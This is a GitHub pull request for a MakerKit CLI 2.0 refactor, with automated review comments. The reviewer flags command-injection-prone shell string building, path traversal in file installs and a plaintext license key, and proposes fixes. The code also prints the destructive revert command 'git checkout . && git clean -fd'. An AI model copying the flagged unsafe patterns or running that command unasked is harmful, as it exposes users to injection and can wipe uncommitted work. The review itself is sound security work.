Conversation
…nd add new Next.js plugins. Updated .gitignore to include .prds and .vscode.
…xt.js Drizzle and Prisma kits, removal of deprecated commands, and introduction of a new Plugins registry and system.
- Simplified the command registration in `src/index.ts` by removing unused commands. - Deleted `src/kits-model.ts` as it is no longer needed. - Updated `src/plugins-model.ts` to introduce a new structure for plugins with environment variable support. - Refactored the `new.command.ts` to utilize a new kit retrieval method. - Removed the `PluginsService` and associated commands to streamline plugin management. - Enhanced the `list-plugins.command.ts` to provide better output for available and installed plugins.
- Changed version in `package.json` to 2.0.0-beta.1. - Updated dependencies and devDependencies to their latest versions in `package.json` and `pnpm-lock.yaml`. - Refactored plugin model to support variant-specific configurations in `src/plugins-model.ts`. - Removed deprecated `scan` command and associated files to streamline plugin management. - Enhanced command structure in `src/commands/plugins` for better plugin installation and listing functionality.
WalkthroughVersion 2.0.0-beta.1 removes i18n and license commands, replaces the static plugin system with a registry-driven installer (including codemods, file installs, and env var appends), adds an MCP server (mcp.ts) for remote tooling, refactors workspace variant detection, and bumps build/config and package metadata. Changes
Sequence Diagram(s)sequenceDiagram
actor User
participant CLI as Add Command
participant Git as Git Utils
participant Registry as Plugin Registry
participant Files as Registry Installer
participant Codemod as Codemod Runner
participant Env as Env Vars Utils
User->>CLI: makerkit plugins add [plugin-id]
CLI->>Git: isGitClean()
Git-->>CLI: clean/dirty
alt dirty
CLI-->>User: abort — commit or stash changes
else clean
CLI->>Registry: fetchPluginRegistry()/validatePlugin()
Registry-->>CLI: plugin metadata & file list
CLI->>Files: installRegistryFiles(variant, pluginId, username)
Files-->>CLI: files written, deps installed
CLI->>Codemod: runCodemod(variant, pluginId)
Codemod-->>CLI: {success, output}
alt success
CLI->>Env: appendEnvVars(envVars, pluginName)
Env-->>CLI: env updated
CLI-->>User: installation summary & tips
else failure
CLI-->>User: show codemod error + revert guidance
end
end
Estimated code review effort🎯 4 (Complex) | ⏱️ ~60 minutes Poem
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing touches🧪 Generate unit tests (beta)
No actionable comments were generated in the recent review. 🎉 Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 8
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
README.md (1)
27-29:⚠️ Potential issue | 🟡 MinorStale reference to removed
i18ncommand.The
i18ncommand was removed in this PR, but Line 27 still mentions it: "Commands that interact with the repository (plugins, i18n)…". Update to remove thei18nreference.Proposed fix
-Commands that interact with the repository (plugins, i18n) must be +Commands that interact with the repository (e.g. plugins) must besrc/commands/new/new.command.ts (2)
109-127:⚠️ Potential issue | 🟠 MajorHardcoded
npm installmay conflict with user's package manager.The README documents
pnpm dlxusage, and many Makerkit users may use pnpm. Hardcodingnpm installon Line 114 could create a lockfile mismatch or install issues. Consider detecting the package manager (e.g., check forpnpm-lock.yamlin the cloned repo or useMAKERKIT_PACKAGE_RUNNERsimilar torun-codemod.ts).
52-66:⚠️ Potential issue | 🟡 MinorHandle prompt cancellation gracefully.
If the user presses Ctrl+C during the
prompts()call,kitwill beundefined, andgetKitById(undefined)will throw a confusing invariant error (Kit "undefined" not found). Consider adding anonCancelhandler or checking for undefined before proceeding.Proposed fix
const { kit, name: projectName } = await prompts([ ... - ]); + ], { + onCancel: () => { + console.log('Aborting...'); + process.exit(0); + }, + });
🤖 Fix all issues with AI agents
In `@CHANGELOG.md`:
- Around line 5-8: The CHANGELOG.md entry is incomplete and the version
mismatches package.json: add the removed `license` command to the same bullet
list as `blog` and `i18n` in the "## 2.0.0 - 2026-02-07" section, and reconcile
the version strings by either changing the header from "2.0.0" to "2.0.0-beta.1"
to match package.json or update package.json to "2.0.0" so both files use the
same version identifier (refer to CHANGELOG.md and package.json and the removed
commands `blog`, `i18n`, `license` and version strings `2.0.0` /
`2.0.0-beta.1`).
In `@src/commands/plugins/add/add.command.ts`:
- Around line 105-117: The catch block in add.command.ts currently always prints
a git revert suggestion even when errors occur before any file changes (e.g.,
from validateProject() or PluginRegistry.load()); introduce a boolean flag
(e.g., codemodStarted or madeMutations) initialized false and set it true at the
start of the codemod/file-mutation step (the function or block that runs the
codemod in the add command), then in the catch handler only print the "To revert
changes..." message when that flag is true; update references in the add
command's try/catch and where the codemod execution is invoked so the flag
accurately reflects whether mutations started.
In `@src/commands/plugins/init/init.command.ts`:
- Around line 22-28: The prompts call that collects the license key currently
uses type: 'text' which echoes the credential; change the prompt type to
'password' in the prompts invocation that assigns licenseKey (the object with
name 'licenseKey' in init.command.ts) so the input is masked, keeping the
existing validation function intact.
In `@src/commands/plugins/list/list-plugins.command.ts`:
- Around line 10-49: Wrap the async action handler for the list-plugins command
in a try/catch like the sibling commands: catch errors from detectVariant(),
PluginRegistry.load(), isInstalled(), etc., log a user-friendly error via
processLogger or console.error (including the error.message/details), and call
process.exit(1) on failure; ensure you reference the existing anonymous .action
handler and preserve the existing success-path logic and console output when no
error occurs.
In `@src/index.ts`:
- Line 20: The .version() call is passing flags as the first argument; change it
to pass the actual version string then flags—e.g. import the package version (or
use an existing VERSION constant) and call .version(version, '-v, --version',
'display the version number'); update the call site where .version(...) is used
(the expression invoking Commander’s version method in src/index.ts) to supply
the version string first and the flags/description second.
In `@src/utils/components-json.ts`:
- Around line 29-47: The addMakerkitRegistry function currently writes the
plaintext licenseKey into config.registries['@makerkit'].headers.Authorization;
change this so the Authorization value uses environment-variable expansion
(e.g., "Bearer ${MAKERKIT_LICENSE_KEY}") instead of embedding licenseKey,
leaving readComponentsJson and writeComponentsJson usage intact; update any
documentation or setup notes to instruct users to set MAKERKIT_LICENSE_KEY (for
example in .env.local) so secrets are not written to components.json.
In `@src/utils/env-vars.ts`:
- Around line 33-49: The code always pushes an empty line before the section
header (lines.push('')) even when the file is empty, causing a leading blank
line; adjust the logic so the blank line before sectionHeader is only added when
the existing content is non-empty (use the existing content.length /
content.endsWith check), e.g. remove the unconditional lines.push('') or wrap it
in the same guard that checks content, keeping the rest (sectionHeader, envVars
loop, and fs.appendFile) unchanged; update references in this block (variables
content, lines, sectionHeader, envVars, filePath, and fs.appendFile)
accordingly.
In `@src/utils/run-codemod.ts`:
- Around line 7-15: The current construction of command via string interpolation
(variables localPath, runner, variant, pluginId) and calling execaCommand is
vulnerable to command injection and breaks on paths with spaces; change to using
execa (or execa.command with {shell:false}) with an explicit argument array
instead: build args like ['codemod','workflow','run','-w',
path.join(localPath,'codemods', variant, pluginId)] when localPath is set, or
['codemod', `@makerkit/${variant}-${pluginId}`] for the remote case, and call
execa(runner, args, { env: process.env }) (or equivalent) so parameters are
passed as separate args rather than interpolated into a shell string,
eliminating injection and space issues; update references to command and
execaCommand accordingly.
🧹 Nitpick comments (8)
package.json (2)
29-29:@types/fs-extrabelongs indevDependencies.Type definition packages are only needed at build time and shouldn't be shipped as a runtime dependency.
Proposed fix
Move
@types/fs-extrafromdependenciestodevDependencies:"dependencies": { - "@types/fs-extra": "11.0.4", "chalk": "5.6.2", ... }, "devDependencies": { + "@types/fs-extra": "11.0.4", "@ianvs/prettier-plugin-sort-imports": "4.7.1", ... }
45-45: Inconsistent version pinning:typescriptuses a caret range while all other deps are pinned.All other dependencies use exact versions. Consider pinning TypeScript as well for reproducible builds:
"typescript": "5.9.3".src/utils/plugins-cache.ts (2)
61-71: Validate the shape of remote registry data before using it.Line 66 casts
data.pluginswithas Record<string, PluginDefinition>without any runtime validation. If the remote endpoint returns unexpected JSON (schema change, error body, etc.), this silently propagates corrupt data through the system. Since Zod is already a dependency, consider adding a lightweight schema check.
17-27: No validation of cached data structure on read.
fs.readJsonat Line 23 returns whatever is in the file, and it's trusted asCacheEntrywithout validation. A corrupted or hand-edited cache file could cause downstream failures. Consider at minimum checking thatfetchedAtis a number andpluginsis an object before returning.src/utils/workspace.ts (1)
76-87: Minor: redundantpackage.jsonread.
detectVariant()already reads and validates the rootpackage.json. Line 81 reads it again. For a CLI this is negligible, but you could return the parsedrootPkgfromdetectVariant(or cache it) to avoid the double I/O.src/plugins-model.ts (2)
28-186:idfield is redundant with the map key — risk of drift with remote registry.Each plugin's
idduplicates the key inDEFAULT_PLUGINS. For the bundled defaults this is fine, but oncefetchPluginRegistryloads from a remote source, nothing enforceskey === plugin.id. Consider either derivingidfrom the key during load, or adding a validation step inPluginRegistryconstructor.Example: normalize IDs in constructor
- private constructor( - private plugins: Record<string, PluginDefinition>, - ) {} + private constructor( + private plugins: Record<string, PluginDefinition>, + ) { + // Ensure plugin IDs are consistent with map keys + for (const [key, plugin] of Object.entries(plugins)) { + plugin.id = key; + } + }
236-246:isInstalledusesprocess.cwd()— consider accepting a base path parameter.All path-resolution helpers (
isInstalled,getPath) are coupled toprocess.cwd(). If this CLI ever needs to operate on a project directory other than cwd (e.g. via a--cwdflag), this will need refactoring. Low priority for a CLI tool, but worth noting.src/commands/plugins/list/list-plugins.command.ts (1)
25-39: SequentialisInstalledchecks could be parallelized.Each
isInstalledcall is an independentfs.pathExistscheck. With a growing plugin count, this would benefit fromPromise.all. Low priority given the current plugin count (~10).Example with Promise.all
- let installedCount = 0; - - for (const plugin of plugins) { - const installed = await isInstalled(plugin, variant); - - if (installed) { - installedCount++; - } - - const status = installed - ? chalk.green('installed') - : chalk.gray('available'); - - console.log( - ` ${chalk.cyan(plugin.name)} ${chalk.gray(`(${plugin.id})`)} — ${status}`, - ); - } + const installStatuses = await Promise.all( + plugins.map((plugin) => isInstalled(plugin, variant)), + ); + + let installedCount = 0; + + for (let i = 0; i < plugins.length; i++) { + const plugin = plugins[i]; + const installed = installStatuses[i]; + + if (installed) { + installedCount++; + } + + const status = installed + ? chalk.green('installed') + : chalk.gray('available'); + + console.log( + ` ${chalk.cyan(plugin.name)} ${chalk.gray(`(${plugin.id})`)} — ${status}`, + ); + }
CHANGELOG.md
Outdated
| ## 2.0.0 - 2026-02-07 | ||
| - Added Next.js Drizzle and Prisma kits | ||
| - Removed deprecated commands: `blog`, `i18n` | ||
| - Added new Plugins registry and system with Shadcn CLI and Codemods |
There was a problem hiding this comment.
Changelog entry may be incomplete and inconsistent with package version.
- The
licensecommand was also removed in this PR but isn't listed here alongsideblogandi18n. - The changelog says
2.0.0butpackage.jsonhas2.0.0-beta.1. Consider aligning them — either mark this as a beta entry or updatepackage.jsonto2.0.0.
🤖 Prompt for AI Agents
In `@CHANGELOG.md` around lines 5 - 8, The CHANGELOG.md entry is incomplete and
the version mismatches package.json: add the removed `license` command to the
same bullet list as `blog` and `i18n` in the "## 2.0.0 - 2026-02-07" section,
and reconcile the version strings by either changing the header from "2.0.0" to
"2.0.0-beta.1" to match package.json or update package.json to "2.0.0" so both
files use the same version identifier (refer to CHANGELOG.md and package.json
and the removed commands `blog`, `i18n`, `license` and version strings `2.0.0` /
`2.0.0-beta.1`).
| } catch (error) { | ||
| const message = | ||
| error instanceof Error ? error.message : 'Unknown error'; | ||
|
|
||
| console.error(chalk.red(`Error: ${message}`)); | ||
| console.log( | ||
| chalk.yellow( | ||
| '\nTo revert changes, run: git checkout . && git clean -fd', | ||
| ), | ||
| ); | ||
|
|
||
| process.exit(1); | ||
| } |
There was a problem hiding this comment.
Revert advice is shown even for errors before any files are modified.
If validateProject() or PluginRegistry.load() throws, the catch block still prints "To revert changes, run: git checkout . && git clean -fd". Since no files were touched at that point, the message is harmless but confusing. Consider only suggesting a revert after the codemod step has started.
Sketch: track mutation state
try {
+ let mutationStarted = false;
// ... validation steps ...
// 5. Run codemod
+ mutationStarted = true;
const codemodSpinner = ora('Installing plugin...').start();
// ...
} catch (error) {
const message =
error instanceof Error ? error.message : 'Unknown error';
console.error(chalk.red(`Error: ${message}`));
- console.log(
- chalk.yellow(
- '\nTo revert changes, run: git checkout . && git clean -fd',
- ),
- );
+ if (mutationStarted) {
+ console.log(
+ chalk.yellow(
+ '\nTo revert changes, run: git checkout . && git clean -fd',
+ ),
+ );
+ }
process.exit(1);
}🤖 Prompt for AI Agents
In `@src/commands/plugins/add/add.command.ts` around lines 105 - 117, The catch
block in add.command.ts currently always prints a git revert suggestion even
when errors occur before any file changes (e.g., from validateProject() or
PluginRegistry.load()); introduce a boolean flag (e.g., codemodStarted or
madeMutations) initialized false and set it true at the start of the
codemod/file-mutation step (the function or block that runs the codemod in the
add command), then in the catch handler only print the "To revert changes..."
message when that flag is true; update references in the add command's try/catch
and where the codemod execution is invoked so the flag accurately reflects
whether mutations started.
| const { licenseKey } = await prompts({ | ||
| type: 'text', | ||
| name: 'licenseKey', | ||
| message: 'Enter your MakerKit license key:', | ||
| validate: (value: string) => | ||
| value.trim().length > 0 || 'License key is required', | ||
| }); |
There was a problem hiding this comment.
License key is echoed in plaintext — use password prompt type.
The license key is a credential. Using type: 'text' displays it on screen as the user types. Switch to type: 'password' to mask the input.
Proposed fix
const { licenseKey } = await prompts({
- type: 'text',
+ type: 'password',
name: 'licenseKey',
message: 'Enter your MakerKit license key:',
validate: (value: string) =>
value.trim().length > 0 || 'License key is required',
});📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| const { licenseKey } = await prompts({ | |
| type: 'text', | |
| name: 'licenseKey', | |
| message: 'Enter your MakerKit license key:', | |
| validate: (value: string) => | |
| value.trim().length > 0 || 'License key is required', | |
| }); | |
| const { licenseKey } = await prompts({ | |
| type: 'password', | |
| name: 'licenseKey', | |
| message: 'Enter your MakerKit license key:', | |
| validate: (value: string) => | |
| value.trim().length > 0 || 'License key is required', | |
| }); |
🤖 Prompt for AI Agents
In `@src/commands/plugins/init/init.command.ts` around lines 22 - 28, The prompts
call that collects the license key currently uses type: 'text' which echoes the
credential; change the prompt type to 'password' in the prompts invocation that
assigns licenseKey (the object with name 'licenseKey' in init.command.ts) so the
input is masked, keeping the existing validation function intact.
| .action(async () => { | ||
| const variant = await detectVariant(); | ||
| const registry = await PluginRegistry.load(); | ||
| const plugins = registry.getPluginsForVariant(variant); | ||
|
|
||
| console.log(chalk.white('Makerkit available plugins...')); | ||
| console.log( | ||
| `[${chalk.green('Plugin Name')} (${chalk.gray('plugin-id')})]\n` | ||
| chalk.white(`MakerKit Plugins ${chalk.gray(`(${variant})`)}\n`), | ||
| ); | ||
|
|
||
| for (const kit of kits) { | ||
| console.log(`${chalk.cyan(kit.name)}`); | ||
| console.log( | ||
| ` ${chalk.green('Plugin Name')} ${chalk.gray('(plugin-id)')} — Status\n`, | ||
| ); | ||
|
|
||
| if (!kit.plugins.length) { | ||
| console.log(chalk.yellow(`- No plugins available`) + '\n'); | ||
| let installedCount = 0; | ||
|
|
||
| continue; | ||
| } | ||
| for (const plugin of plugins) { | ||
| const installed = await isInstalled(plugin, variant); | ||
|
|
||
| for (const plugin of kit.plugins) { | ||
| const { name, id } = validatePlugin(plugin); | ||
| console.log(`- ${chalk.green(name)} (${chalk.gray(id)})`); | ||
| if (installed) { | ||
| installedCount++; | ||
| } | ||
|
|
||
| console.log(''); | ||
| const status = installed | ||
| ? chalk.green('installed') | ||
| : chalk.gray('available'); | ||
|
|
||
| console.log( | ||
| ` ${chalk.cyan(plugin.name)} ${chalk.gray(`(${plugin.id})`)} — ${status}`, | ||
| ); | ||
| } | ||
|
|
||
| console.log( | ||
| `\n ${chalk.white(`${installedCount} installed`)} / ${chalk.gray(`${plugins.length} available`)}\n`, | ||
| ); | ||
|
|
||
| if (installedCount === 0) { | ||
| console.log( | ||
| `Run ${chalk.cyan('makerkit plugins init')} to set up the registry, then ${chalk.cyan('makerkit plugins add <plugin-id>')} to install.`, | ||
| ); | ||
| } |
There was a problem hiding this comment.
Missing error handling — inconsistent with sibling commands.
Both createAddCommand and createInitCommand wrap their action in try/catch with user-friendly error messages and process.exit(1). This command's action has no error handling, so a failed detectVariant() or PluginRegistry.load() will produce an unhandled rejection with a raw stack trace.
Proposed fix: wrap in try/catch consistent with other commands
.action(async () => {
+ try {
const variant = await detectVariant();
const registry = await PluginRegistry.load();
const plugins = registry.getPluginsForVariant(variant);
// ... rest of the action ...
if (installedCount === 0) {
console.log(
`Run ${chalk.cyan('makerkit plugins init')} to set up the registry, then ${chalk.cyan('makerkit plugins add <plugin-id>')} to install.`,
);
}
+ } catch (error) {
+ const message =
+ error instanceof Error ? error.message : 'Unknown error';
+
+ console.error(chalk.red(`Error: ${message}`));
+ process.exit(1);
+ }
});📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| .action(async () => { | |
| const variant = await detectVariant(); | |
| const registry = await PluginRegistry.load(); | |
| const plugins = registry.getPluginsForVariant(variant); | |
| console.log(chalk.white('Makerkit available plugins...')); | |
| console.log( | |
| `[${chalk.green('Plugin Name')} (${chalk.gray('plugin-id')})]\n` | |
| chalk.white(`MakerKit Plugins ${chalk.gray(`(${variant})`)}\n`), | |
| ); | |
| for (const kit of kits) { | |
| console.log(`${chalk.cyan(kit.name)}`); | |
| console.log( | |
| ` ${chalk.green('Plugin Name')} ${chalk.gray('(plugin-id)')} — Status\n`, | |
| ); | |
| if (!kit.plugins.length) { | |
| console.log(chalk.yellow(`- No plugins available`) + '\n'); | |
| let installedCount = 0; | |
| continue; | |
| } | |
| for (const plugin of plugins) { | |
| const installed = await isInstalled(plugin, variant); | |
| for (const plugin of kit.plugins) { | |
| const { name, id } = validatePlugin(plugin); | |
| console.log(`- ${chalk.green(name)} (${chalk.gray(id)})`); | |
| if (installed) { | |
| installedCount++; | |
| } | |
| console.log(''); | |
| const status = installed | |
| ? chalk.green('installed') | |
| : chalk.gray('available'); | |
| console.log( | |
| ` ${chalk.cyan(plugin.name)} ${chalk.gray(`(${plugin.id})`)} — ${status}`, | |
| ); | |
| } | |
| console.log( | |
| `\n ${chalk.white(`${installedCount} installed`)} / ${chalk.gray(`${plugins.length} available`)}\n`, | |
| ); | |
| if (installedCount === 0) { | |
| console.log( | |
| `Run ${chalk.cyan('makerkit plugins init')} to set up the registry, then ${chalk.cyan('makerkit plugins add <plugin-id>')} to install.`, | |
| ); | |
| } | |
| .action(async () => { | |
| try { | |
| const variant = await detectVariant(); | |
| const registry = await PluginRegistry.load(); | |
| const plugins = registry.getPluginsForVariant(variant); | |
| console.log( | |
| chalk.white(`MakerKit Plugins ${chalk.gray(`(${variant})`)}\n`), | |
| ); | |
| console.log( | |
| ` ${chalk.green('Plugin Name')} ${chalk.gray('(plugin-id)')} — Status\n`, | |
| ); | |
| let installedCount = 0; | |
| for (const plugin of plugins) { | |
| const installed = await isInstalled(plugin, variant); | |
| if (installed) { | |
| installedCount++; | |
| } | |
| const status = installed | |
| ? chalk.green('installed') | |
| : chalk.gray('available'); | |
| console.log( | |
| ` ${chalk.cyan(plugin.name)} ${chalk.gray(`(${plugin.id})`)} — ${status}`, | |
| ); | |
| } | |
| console.log( | |
| `\n ${chalk.white(`${installedCount} installed`)} / ${chalk.gray(`${plugins.length} available`)}\n`, | |
| ); | |
| if (installedCount === 0) { | |
| console.log( | |
| `Run ${chalk.cyan('makerkit plugins init')} to set up the registry, then ${chalk.cyan('makerkit plugins add <plugin-id>')} to install.`, | |
| ); | |
| } | |
| } catch (error) { | |
| const message = | |
| error instanceof Error ? error.message : 'Unknown error'; | |
| console.error(chalk.red(`Error: ${message}`)); | |
| process.exit(1); | |
| } | |
| }); |
🤖 Prompt for AI Agents
In `@src/commands/plugins/list/list-plugins.command.ts` around lines 10 - 49, Wrap
the async action handler for the list-plugins command in a try/catch like the
sibling commands: catch errors from detectVariant(), PluginRegistry.load(),
isInstalled(), etc., log a user-friendly error via processLogger or
console.error (including the error.message/details), and call process.exit(1) on
failure; ensure you reference the existing anonymous .action handler and
preserve the existing success-path logic and console output when no error
occurs.
| const lines: string[] = []; | ||
|
|
||
| if (content.length > 0 && !content.endsWith('\n')) { | ||
| lines.push(''); | ||
| } | ||
|
|
||
| lines.push(''); | ||
| lines.push(sectionHeader); | ||
|
|
||
| for (const envVar of envVars) { | ||
| lines.push(`# ${envVar.description}`); | ||
| lines.push(`${envVar.key}=${envVar.defaultValue ?? ''}`); | ||
| } | ||
|
|
||
| lines.push(''); | ||
|
|
||
| await fs.appendFile(filePath, lines.join('\n')); |
There was a problem hiding this comment.
New .env files will start with a leading blank line.
When the file doesn't exist yet (or is empty), content.length is 0, so the guard on Line 35 is skipped, but Line 39 still pushes an empty string. The resulting output begins with \n# PluginName Plugin\n.... Very minor cosmetic issue.
Proposed fix
const lines: string[] = [];
- if (content.length > 0 && !content.endsWith('\n')) {
- lines.push('');
+ if (content.length > 0) {
+ if (!content.endsWith('\n')) {
+ lines.push('');
+ }
+ lines.push('');
}
- lines.push('');
lines.push(sectionHeader);📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| const lines: string[] = []; | |
| if (content.length > 0 && !content.endsWith('\n')) { | |
| lines.push(''); | |
| } | |
| lines.push(''); | |
| lines.push(sectionHeader); | |
| for (const envVar of envVars) { | |
| lines.push(`# ${envVar.description}`); | |
| lines.push(`${envVar.key}=${envVar.defaultValue ?? ''}`); | |
| } | |
| lines.push(''); | |
| await fs.appendFile(filePath, lines.join('\n')); | |
| const lines: string[] = []; | |
| if (content.length > 0) { | |
| if (!content.endsWith('\n')) { | |
| lines.push(''); | |
| } | |
| lines.push(''); | |
| } | |
| lines.push(sectionHeader); | |
| for (const envVar of envVars) { | |
| lines.push(`# ${envVar.description}`); | |
| lines.push(`${envVar.key}=${envVar.defaultValue ?? ''}`); | |
| } | |
| lines.push(''); | |
| await fs.appendFile(filePath, lines.join('\n')); |
🤖 Prompt for AI Agents
In `@src/utils/env-vars.ts` around lines 33 - 49, The code always pushes an empty
line before the section header (lines.push('')) even when the file is empty,
causing a leading blank line; adjust the logic so the blank line before
sectionHeader is only added when the existing content is non-empty (use the
existing content.length / content.endsWith check), e.g. remove the unconditional
lines.push('') or wrap it in the same guard that checks content, keeping the
rest (sectionHeader, envVars loop, and fs.appendFile) unchanged; update
references in this block (variables content, lines, sectionHeader, envVars,
filePath, and fs.appendFile) accordingly.
src/utils/run-codemod.ts
Outdated
| try { | ||
| const localPath = process.env.MAKERKIT_CODEMODS_PATH; | ||
| const runner = process.env.MAKERKIT_PACKAGE_RUNNER ?? 'npx'; | ||
|
|
||
| const command = localPath | ||
| ? `${runner} codemod workflow run -w ${localPath}/codemods/${variant}/${pluginId}` | ||
| : `${runner} codemod @makerkit/${variant}-${pluginId}`; | ||
|
|
||
| const { stdout, stderr } = await execaCommand(command); |
There was a problem hiding this comment.
Command injection risk and path-with-spaces breakage from string interpolation into execaCommand.
execaCommand splits the string on whitespace, so if localPath contains spaces (common on macOS/Windows, e.g., /Users/John Smith/...), the command will break. Additionally, unsanitized interpolation of env vars and parameters into a shell command string is a command injection vector.
Use execa with an explicit argument array instead:
Proposed fix
-import { execaCommand } from 'execa';
+import { execa } from 'execa';
export async function runCodemod(
variant: string,
pluginId: string,
): Promise<{ success: boolean; output: string }> {
try {
const localPath = process.env.MAKERKIT_CODEMODS_PATH;
const runner = process.env.MAKERKIT_PACKAGE_RUNNER ?? 'npx';
- const command = localPath
- ? `${runner} codemod workflow run -w ${localPath}/codemods/${variant}/${pluginId}`
- : `${runner} codemod `@makerkit/`${variant}-${pluginId}`;
-
- const { stdout, stderr } = await execaCommand(command);
+ const args = localPath
+ ? ['codemod', 'workflow', 'run', '-w', `${localPath}/codemods/${variant}/${pluginId}`]
+ : ['codemod', `@makerkit/${variant}-${pluginId}`];
+
+ const { stdout, stderr } = await execa(runner, args);📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| try { | |
| const localPath = process.env.MAKERKIT_CODEMODS_PATH; | |
| const runner = process.env.MAKERKIT_PACKAGE_RUNNER ?? 'npx'; | |
| const command = localPath | |
| ? `${runner} codemod workflow run -w ${localPath}/codemods/${variant}/${pluginId}` | |
| : `${runner} codemod @makerkit/${variant}-${pluginId}`; | |
| const { stdout, stderr } = await execaCommand(command); | |
| import { execa } from 'execa'; | |
| export async function runCodemod( | |
| variant: string, | |
| pluginId: string, | |
| ): Promise<{ success: boolean; output: string }> { | |
| try { | |
| const localPath = process.env.MAKERKIT_CODEMODS_PATH; | |
| const runner = process.env.MAKERKIT_PACKAGE_RUNNER ?? 'npx'; | |
| const args = localPath | |
| ? ['codemod', 'workflow', 'run', '-w', `${localPath}/codemods/${variant}/${pluginId}`] | |
| : ['codemod', `@makerkit/${variant}-${pluginId}`]; | |
| const { stdout, stderr } = await execa(runner, args); |
🤖 Prompt for AI Agents
In `@src/utils/run-codemod.ts` around lines 7 - 15, The current construction of
command via string interpolation (variables localPath, runner, variant,
pluginId) and calling execaCommand is vulnerable to command injection and breaks
on paths with spaces; change to using execa (or execa.command with
{shell:false}) with an explicit argument array instead: build args like
['codemod','workflow','run','-w', path.join(localPath,'codemods', variant,
pluginId)] when localPath is set, or ['codemod',
`@makerkit/${variant}-${pluginId}`] for the remote case, and call execa(runner,
args, { env: process.env }) (or equivalent) so parameters are passed as separate
args rather than interpolated into a shell string, eliminating injection and
space issues; update references to command and execaCommand accordingly.
- Updated the version display in the CLI to 2.0.0. - Added automatic configuration for the MakerKit registry during plugin addition if not already set up. - Simplified the initialization command by removing the license key prompt and directly configuring the registry. - Introduced user prompts for GitHub username during registry setup. - Added post-installation warnings and tips for better user guidance after plugin installation.
- Replaced spinner with console logs for configuring the MakerKit registry to enhance visibility during the setup process. - Removed unnecessary authorization headers from the registry configuration to simplify the setup.
- Added support for a new `makerkit-mcp` entry in `package.json` for improved plugin management. - Updated dependencies to include `@modelcontextprotocol/sdk` and upgraded `zod` to a compatible version. - Refactored the `add.command.ts` to streamline plugin file installation with improved error handling and user prompts for GitHub username. - Enhanced the `init.command.ts` to simplify registry configuration by directly prompting for the username. - Improved the `components-json.ts` utility functions for better username caching and retrieval.
There was a problem hiding this comment.
Actionable comments posted: 8
🤖 Fix all issues with AI agents
In `@src/commands/plugins/add/add.command.ts`:
- Around line 66-82: The catch block treats every installRegistryFiles failure
as an auth issue and always clears cached username and retries; change it to
inspect the caught error from installRegistryFiles (e.g., check error.httpStatus
/ error.status / error.code or instanceof network error) and only
clearCachedUsername() / prompt getOrPromptUsername() and retry when the error
indicates authentication (401/403) or explicit auth failure; for all other
errors (network timeouts, 404, 5xx) log the original error via filesSpinner.fail
or console.error with the error details and rethrow or exit without prompting
for a new username; keep using the existing symbols filesSpinner, retrySpinner,
installRegistryFiles, clearCachedUsername, getOrPromptUsername to locate and
implement the conditional retry logic.
In `@src/mcp.ts`:
- Around line 24-36: withProjectDir currently uses process.chdir/process.cwd
which mutates global state and will race under concurrent MCP tool calls; stop
using process.chdir and instead refactor to pass the projectPath explicitly to
the functions that need it (change withProjectDir to stop switching cwd and
instead call fn with the projectPath argument, update callers of withProjectDir
and any utilities that rely on process.cwd() to accept a projectPath parameter
and perform file ops by joining projectPath with their target paths, and remove
any remaining uses of process.cwd() in functions invoked from makerkit
commands).
- Around line 212-244: The tool description for
server.registerTool('makerkit_init_registry') is incorrect: it claims to
"Configure the MakerKit plugin registry in components.json" but the
implementation only calls cacheUsername(githubUsername) and returns JSON text;
either update the description to reflect that makerkit_init_registry only caches
the GitHub username (and reports variant) or implement the components.json
mutation. To fix, choose one: (A) change the description string to something
like "Cache MakerKit GitHub username and detect project variant" so it matches
behavior, or (B) add logic inside the async handler (within withProjectDir) to
load/update components.json (use detectVariant() result and githubUsername),
persist changes, and then return the updated components.json via textContent;
reference functions and symbols makerkit_init_registry, cacheUsername,
detectVariant, withProjectDir, textContent, and errorContent when making the
change.
- Line 22: The dotenv config call at module scope uses the process CWD instead
of the intended project directory; change the code so dotenv.config(...) is
invoked using an absolute path derived from projectPath (e.g.,
path.join(projectPath, '.env.local')) or moved inside the withProjectDir
callback after projectPath is resolved so env vars load from the project
directory; update references to config (from dotenv) and ensure this runs before
any code that depends on those env vars.
- Line 5: The import line "import { z } from 'zod/v3'" is incompatible with the
installed Zod (^3.24.0); fix it by either upgrading the dependency to ^3.25.0+
in package.json (then run install) or change the import to "import { z } from
'zod'" in src/mcp.ts so the module resolves at runtime; pick one approach and
ensure tests/build succeed after updating.
In `@src/utils/install-registry-files.ts`:
- Line 24: The constructed url string uses raw values for variant, pluginId and
username which can break the URL if they contain special characters; update the
url assembly to encode those values by applying encodeURIComponent to variant
and pluginId in the path portion and to username in the query parameter so the
resulting URL is valid for any characters.
- Around line 49-54: The code builds a shell string from item.dependencies and
calls execaCommand which risks command injection; change the call to use execa
with an argument array instead of a single shell string (e.g., replace
execaCommand(`pnpm add ${deps}`, ...) with execa('pnpm', ['add', ...depArgs],
{stdio: 'inherit'}) where depArgs is an array of `${name}@${version}` built from
Object.entries(item.dependencies}); ensure you import execa and avoid any string
interpolation that goes to the shell so dependency names/versions are passed as
separate argv entries.
- Around line 42-47: Validate and restrict writes so resolved targetPath stays
inside cwd: for each file in item.files resolve the absolute path (using cwd and
file.target), resolve realpaths for both cwd and the targetPath, and verify the
targetPath is within the cwd root (e.g., compare realpaths or use path.relative
and ensure it doesn't escape with '..'); if the check fails, skip or throw an
